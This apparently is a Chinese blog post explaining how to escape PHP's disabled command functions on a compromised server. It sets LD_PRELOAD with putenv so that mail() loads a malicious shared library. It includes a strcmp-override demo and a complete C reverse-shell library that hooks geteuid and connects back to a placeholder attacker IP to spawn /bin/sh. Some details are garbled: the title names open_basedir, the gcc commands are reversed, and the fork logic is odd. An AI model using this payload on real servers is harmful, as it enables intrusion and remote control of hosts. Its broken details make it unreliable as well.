如何绕过open_basedir是永恒的话题.

在getshell之后,查看phpinfo的时候会发现禁用了许多执行系统命令的函数.

一般有如下(严环境的php的disable_function):

dl
exec
system
passthru
popen
proc_open
pcntl_exec
shell_exec

如果漏掉其中的某些函数,可以直接利用漏掉的函数绕过.如果全部都被过滤了,只能另外寻找方法.

其中有两个重要的函数putenv和mail函数,可以通过设置LD_PRELOAD来执行自己的代码.

putenv():配置系统环境变量.

void putenv(string setting).

eg:

1
<?php putenv("LD_PRELOAD=/var/www/hack.so");?> //LD-PRELOAD后面会讲解.

main():允许从脚本中直接发送电子邮件.

mail(to,subject,message,headers,parameters)

LD_PRELOAD:在UNIX的动态链接库中,LD_PRELOAD作为一个环境变量,它有一个有趣的功能,它可以影响程序运行是的链接,它允许你在程序运行前优先加载的动态链接库.

当这三个东西碰在了一起,就可以搞出一些黑套路.

思路是用putenv将LD_PRELOAD加载一个so文件(这个so文件可以是反弹shell的文件)当做环境变量,然后由于php的mail()的执行过程默认调用系统程序/usr/sbin/sendmail,而这个程序中会涉及到系统的其它函数,我们就可以在so文件中将调用的函数增加一些你想要的功能,就可以实现黑套路了.

查看程度调用的函数.

eg:
passwd.c

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv){
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>/n", argv[0]);
return;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!/n");
return;
}
printf("Invalid Password!/n");
}

一个简单的程序,判断传入的字符串是否等于”password”.strcmp函数就是外部调用的.
重写一个strcmp()函数.
1
2
3
4
5
6
#include <stdio.h>
#include <string.h>
int strcmp(const char *s1, const char *s2){
printf("hack function invoked. s1=<%s> s2=<%s>/n", s1, s2);
return 0;
}

将passwd编译为一个动态共享库.
1
2
3
$ gcc -o verifypasswd.c verifypasswd    
$ gcc -shared verifypasswd -o hack.so
$ export LD_PRELOAD="./hack.so" //设置它比调用它的程序优先运行.

结果:
1
2
$ ./passwd  abcd  
$ Correct Password!

任意输入都能正确.

注:如果在反弹回的shell中ls,cat命令都禁用了.1.找到一些被遗漏的冷门命令.tac(将文件从最后一行倒序显示内容,并将内容输出.)

2.利用无法禁止的基本命令完成列目录和读文件.eg:echo * ,sh - v…

像mail这类与系统进行交互的函数都可以这样利用.

反弹shell式:(不一定成功…)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>
#include <dirent.h>
char shell[]="/bin/sh";
int sock;

void pwn() {
setbuf(stdout,NULL);
struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!\n"); exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(atoi("端口"));
server.sin_addr.s_addr = inet_addr("反弹IP");

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!\n");
exit(-1);
}

dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);

execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}

int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
int pid = fork();
if (pid < 0) {
pwn();
}
else if (pid == 0 ) {
setsid();
int pid2 = fork();
if (pid2 < 0) {
pwn();
}
else if (pid2 > 0 ) {
//Padre
}
else {
close(0);
close(1);
close(2);
umask(0);
pwn();
}
}
}